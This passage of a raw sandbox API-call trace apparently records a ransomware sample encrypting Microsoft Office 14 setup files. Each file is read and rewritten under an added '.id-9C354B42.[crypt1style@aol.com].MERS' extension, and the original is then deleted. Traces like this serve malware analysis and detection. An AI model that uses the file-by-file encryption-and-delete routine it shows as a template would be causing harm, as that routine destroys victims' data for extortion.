lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.866] lstrlenW (lpString=".docx") returned 5 [0040.866] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.866] lstrlenW (lpString=".pdf") returned 4 [0040.866] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.866] lstrlenW (lpString=".xls") returned 4 [0040.866] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.866] lstrlenW (lpString=".xlsx") returned 5 [0040.866] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.866] lstrlenW (lpString=".ppt") returned 4 [0040.866] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.866] lstrlenW (lpString=".zip") returned 4 [0040.866] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.866] lstrlenW (lpString=".rar") returned 4 [0040.866] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.867] lstrlenW (lpString=".bz2") returned 4 [0040.867] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.867] lstrlenW (lpString=".7z") returned 3 [0040.867] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.867] lstrlenW (lpString=".dbf") returned 4 [0040.867] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.867] lstrlenW (lpString=".1cd") returned 4 [0040.867] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0040.867] lstrlenW (lpString=".jpg") returned 4 [0040.867] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.867] lstrcmpiW (lpString1=".CHM", lpString2=".MERS") returned -1 [0040.867] lstrlenW (lpString="OCT.CHM") returned 7 [0040.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.600] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=71236) returned 1 [0041.600] CloseHandle (hObject=0x1e4) returned 1 [0041.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0041.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0041.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.601] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.601] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.601] GetLastError () returned 0x0 [0041.601] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x11644, lpOverlapped=0x0) returned 1 [0041.817] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0041.818] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.818] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0041.819] SetEndOfFile (hFile=0x1e8) returned 1 [0041.819] CloseHandle (hObject=0x1e8) returned 1 [0041.820] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.820] SetEndOfFile (hFile=0x1e4) returned 1 [0041.821] CloseHandle (hObject=0x1e4) returned 1 [0041.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0041.821] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0041.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.821] lstrlenW (lpString=".doc") returned 4 [0041.821] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0041.821] lstrlenW (lpString=".docx") returned 5 [0041.821] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0041.821] lstrlenW (lpString=".pdf") returned 4 [0041.821] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0041.821] lstrlenW (lpString=".xls") returned 4 [0041.821] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString=".xlsx") returned 5 [0041.822] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0041.822] lstrlenW (lpString=".ppt") returned 4 [0041.822] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.822] lstrlenW (lpString=".zip") returned 4 [0041.822] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString=".rar") returned 4 [0041.822] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString=".bz2") returned 4 [0041.822] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0041.822] lstrlenW (lpString=".7z") returned 3 [0041.822] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.822] lstrlenW (lpString=".dbf") returned 4 [0041.822] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.822] lstrlenW (lpString=".1cd") returned 4 [0041.822] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.822] lstrlenW (lpString=".jpg") returned 4 [0041.822] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.822] lstrlenW (lpString=".doc") returned 4 [0041.822] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString=".docx") returned 5 [0041.822] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0041.822] lstrlenW (lpString=".pdf") returned 4 [0041.822] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString=".xls") returned 4 [0041.822] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString=".xlsx") returned 5 [0041.822] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0041.822] lstrlenW (lpString=".ppt") returned 4 [0041.822] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.823] lstrlenW (lpString=".zip") returned 4 [0041.823] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0041.823] lstrlenW (lpString=".rar") returned 4 [0041.823] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0041.823] lstrlenW (lpString=".bz2") returned 4 [0041.823] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0041.823] lstrlenW (lpString=".7z") returned 3 [0041.823] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0041.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.823] lstrlenW (lpString=".dbf") returned 4 [0041.823] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0041.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.823] lstrlenW (lpString=".1cd") returned 4 [0041.823] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0041.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0041.823] lstrlenW (lpString=".jpg") returned 4 [0041.823] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0041.823] lstrcmpiW (lpString1=".CHM", lpString2=".MERS") returned -1 [0041.823] lstrlenW (lpString="PSS10O.CHM") returned 10 [0041.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.823] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=26929) returned 1 [0041.823] CloseHandle (hObject=0x1e4) returned 1 [0041.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0041.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0041.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.824] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.824] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.824] GetLastError () returned 0x0 [0041.824] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x6931, lpOverlapped=0x0) returned 1 [0042.163] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0042.164] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.164] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0042.164] SetEndOfFile (hFile=0x1e8) returned 1 [0042.165] CloseHandle (hObject=0x1e8) returned 1 [0042.165] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.165] SetEndOfFile (hFile=0x1e4) returned 1 [0042.167] CloseHandle (hObject=0x1e4) returned 1 [0042.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0042.167] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0042.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.621] lstrlenW (lpString=".doc") returned 4 [0042.621] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0042.621] lstrlenW (lpString=".docx") returned 5 [0042.621] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0042.621] lstrlenW (lpString=".pdf") returned 4 [0042.621] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0042.621] lstrlenW (lpString=".xls") returned 4 [0042.621] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0042.621] lstrlenW (lpString=".xlsx") returned 5 [0042.621] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0042.621] lstrlenW (lpString=".ppt") returned 4 [0042.621] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0042.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.621] lstrlenW (lpString=".zip") returned 4 [0042.622] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0042.622] lstrlenW (lpString=".rar") returned 4 [0042.622] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0042.622] lstrlenW (lpString=".bz2") returned 4 [0042.622] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0042.622] lstrlenW (lpString=".7z") returned 3 [0042.622] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0042.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.622] lstrlenW (lpString=".dbf") returned 4 [0042.622] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0042.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.622] lstrlenW (lpString=".1cd") returned 4 [0042.622] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0042.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.622] lstrlenW (lpString=".jpg") returned 4 [0042.622] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0042.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.622] lstrlenW (lpString=".doc") returned 4 [0042.622] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0042.622] lstrlenW (lpString=".docx") returned 5 [0042.622] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0042.622] lstrlenW (lpString=".pdf") returned 4 [0042.622] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0042.622] lstrlenW (lpString=".xls") returned 4 [0042.622] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0042.622] lstrlenW (lpString=".xlsx") returned 5 [0042.622] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0042.622] lstrlenW (lpString=".ppt") returned 4 [0042.622] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0042.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.622] lstrlenW (lpString=".zip") returned 4 [0042.623] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0042.623] lstrlenW (lpString=".rar") returned 4 [0042.623] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0042.623] lstrlenW (lpString=".bz2") returned 4 [0042.623] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0042.623] lstrlenW (lpString=".7z") returned 3 [0042.623] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0042.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.623] lstrlenW (lpString=".dbf") returned 4 [0042.623] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0042.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.623] lstrlenW (lpString=".1cd") returned 4 [0042.623] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0042.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0042.623] lstrlenW (lpString=".jpg") returned 4 [0042.623] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0042.623] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0042.623] lstrlenW (lpString="SETUP.XML") returned 9 [0042.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.418] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=9352) returned 1 [0043.419] CloseHandle (hObject=0x1a4) returned 1 [0043.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0043.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.419] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.419] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0043.419] GetLastError () returned 0x0 [0043.419] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x2488, lpOverlapped=0x0) returned 1 [0043.488] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0043.489] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.489] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.489] SetEndOfFile (hFile=0x1d4) returned 1 [0043.489] CloseHandle (hObject=0x1d4) returned 1 [0043.489] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.489] SetEndOfFile (hFile=0x1a4) returned 1 [0043.490] CloseHandle (hObject=0x1a4) returned 1 [0043.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.490] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0043.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.491] lstrlenW (lpString=".doc") returned 4 [0043.491] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.491] lstrlenW (lpString=".docx") returned 5 [0043.491] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.491] lstrlenW (lpString=".pdf") returned 4 [0043.491] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.491] lstrlenW (lpString=".xls") returned 4 [0043.491] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.491] lstrlenW (lpString=".xlsx") returned 5 [0043.491] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.491] lstrlenW (lpString=".ppt") returned 4 [0043.491] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.491] lstrlenW (lpString=".zip") returned 4 [0043.491] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.491] lstrlenW (lpString=".rar") returned 4 [0043.491] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.491] lstrlenW (lpString=".bz2") returned 4 [0043.491] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.491] lstrlenW (lpString=".7z") returned 3 [0043.491] lstrcmpiW 